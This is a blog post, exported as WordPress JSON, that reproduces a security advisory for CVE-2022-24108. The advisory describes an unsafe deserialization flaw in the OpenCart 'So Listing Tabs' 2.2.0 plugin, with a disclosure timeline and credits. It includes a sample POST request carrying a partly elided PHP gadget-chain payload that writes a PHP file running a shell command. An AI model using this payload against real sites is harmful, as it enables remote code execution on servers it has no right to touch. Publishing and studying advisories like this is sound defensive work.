{"id":24580,"date":"2022-05-17T22:59:08","date_gmt":"2022-05-17T18:59:08","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167197\/opencartslt220-deserialize.txt"},"modified":"2022-05-28T11:22:22","modified_gmt":"2022-05-28T06:52:22","slug":"opencart-so-listing-tabs-2-2-0-unsafe-deserialization","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/opencart-so-listing-tabs-2-2-0-unsafe-deserialization\/","title":{"rendered":"OpenCart So Listing Tabs 2.2.0 Unsafe Deserialization"},"content":{"rendered":"<p dir=\"ltr\">[-] Affected Versions:<\/p>\n<p dir=\"ltr\">Version 2.2.0 is affected, and prior versions are likely affected too.<\/p>\n<p dir=\"ltr\">[-] Vulnerabilities Description:<\/p>\n<p dir=\"ltr\">Vulnerable component is switching to another tab. To exploit<br \/>\nvulnerability, an attacker may send a POST request (with<br \/>\napplication\/x-www-form-urlencoded content-type) to AJAX endpoint<br \/>\n(usually &#8220;\/index.php&#8221;) with &#8220;is_ajax_listing_tabs&#8221; parameter set to<br \/>\n&#8220;1&#8221; and &#8220;setting&#8221; parameter containing a PHP-serialized object,<br \/>\nwhich would be deserialized at server-side. Gadget-chains based on PHP<br \/>\nserver-side code can be used to gain remote code execution, file<br \/>\nwrite, DOS, etc.<\/p>\n<p dir=\"ltr\">So Listing Tabs is an Opencart plugin, so the Opencart PHP classes are<br \/>\navailable in webapp lifecycle. In source code of Opencart there is a PHP<br \/>\ngadget-chain which allows to write a file to the server.<br \/>\nUsing this gadget, an attacker can write .php files with PHP code inside<br \/>\napp&#8217;s web root and then execute it via requesting them, thus gaining<br \/>\nremote code<br \/>\nexecution, which makes insecure deserialization in So Listing Tabs<br \/>\nespecially dangerous. Ability to write files can also be used to DOS the<br \/>\nsystem by writing large files and exhausting disk space, it can be used to<br \/>\nperform XSS attacks by creating HTML files inside web root.<\/p>\n<p dir=\"ltr\">Here is an example of request which will write PHP file on server<br \/>\nin \/tmp directory:<\/p>\n<p dir=\"ltr\">&#8212;<br \/>\nPOST \/index.php HTTP\/2<br \/>\nHost: 0.0.0.0<br \/>\nContent-Length: 3870<br \/>\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8<br \/>\nReferer: http:\/\/0.0.0.0\/<\/p>\n<p dir=\"ltr\">is_ajax_listing_tabs=1&amp;ajax_reslisting_start=0&amp;categoryid=p_date_added&amp;<br \/>\nsetting=a%3a74%3a{s%3a6%3a&#8221;action&#8221;%3bs%3a9%3a&#8221;save_edit&#8221;%3b&#8230;<br \/>\n&#8230;<br \/>\ns%3a2%3a&#8221;aa&#8221;%3bO%3A9%3A%22DB%5CMySQLi%22%3A1%3A%7Bs%3A21%3A%2<br \/>\n2%00DB%5CMySQLi%00connection%22%3BO%3A7%3A%22Session%22%3A3%3A%7Bs%3A10%3A%<br \/>\n22%00%2A%00adaptor%22%3BO%3A21%3A%22Twig_Cache_Filesystem%22%3A2%3A%7Bs%3A3<br \/>\n2%3A%22%00Twig_Cache_Filesystem%00directory%22%3BN%3Bs%3A30%3A%22%00Twig_Ca<br \/>\nche_Filesystem%00options%22%3BN%3B%7Ds%3A13%3A%22%00%2A%00session_id%22%3Bs<br \/>\n%3A11%3A%22%2Ftmp%2Fff.php%22%3Bs%3A4%3A%22data%22%3Bs%3A24%3A%22%3C%3Fphp+<br \/>\nsystem%28%22ls+%2F%22%29%3B+%3F%3E%22%3B%7D%7D}&amp;lbmoduleid=157<br \/>\n&#8212;<\/p>\n<p dir=\"ltr\">[-] Solution:<\/p>\n<p dir=\"ltr\">No official solution is currently available.<\/p>\n<p dir=\"ltr\">[-] Disclosure Timeline:<\/p>\n<p dir=\"ltr\">[28\/01\/2022] &#8211; CVE number assigned<br \/>\n[31\/01\/2022] &#8211; Vendor contacted<br \/>\n[02\/02\/2022] &#8211; Vendor asked for description of vulnerability<br \/>\n[02\/02\/2022] &#8211; Send report to vendor<br \/>\n[11\/02\/2022] &#8211; Vendor contacted for asking about updates<br \/>\n[11\/02\/2022] &#8211; Vendor answered that did not get the report<br \/>\n[11\/02\/2022] &#8211; Send report again<br \/>\n[16\/02\/2022] &#8211; Vendor contacted to ask about receiving the report<br \/>\n[17\/02\/2022] &#8211; Automatic generated answer about overloaded system<br \/>\n[07\/04\/2022] &#8211; Vendor contacted again asking for updates<br \/>\n[15\/05\/2022] &#8211; Vendor contacted to notify about public disclosure<br \/>\n[16\/05\/2022] &#8211; Vendor contacted to notify about public disclosure to<br \/>\nenother email<br \/>\n[16\/05\/2022] &#8211; Public disclosure<\/p>\n<p dir=\"ltr\">[-] CVE Reference:<\/p>\n<p dir=\"ltr\">The Common Vulnerabilities and Exposures project (cve.mitre.org)<br \/>\nhas assigned the id CVE-2022-24108 to these vulnerabilities.<\/p>\n<p dir=\"ltr\">[-] Credits:<\/p>\n<p dir=\"ltr\">Vulnerability discovered by<br \/>\nDenis Mironov (SolidSoft LLC),<br \/>\nAlexey Smirnov (SolidSoft LLC),<br \/>\nDaniil Sigalov (SolidSoft LLC),<br \/>\nDmitry Pavlov (SolidSoft LLC),<br \/>\nMaxim Malkov (SolidSoft LLC)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>[-] Affected Versions: Version 2.2.0 is affected, and prior versions are likely affected too. [-] Vulnerabilities Description: Vulnerable component is switching to another tab. To exploit vulnerability, an attacker may send a POST request (with application\/x-www-form-urlencoded content-type) to AJAX endpoint (usually &#8220;\/index.php&#8221;) with &#8220;is_ajax_listing_tabs&#8221; parameter set to &#8220;1&#8221; and &#8220;setting&#8221; parameter containing a PHP-serialized object, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-24580","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/24580","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=24580"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/24580\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=24580"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=24580"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=24580"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}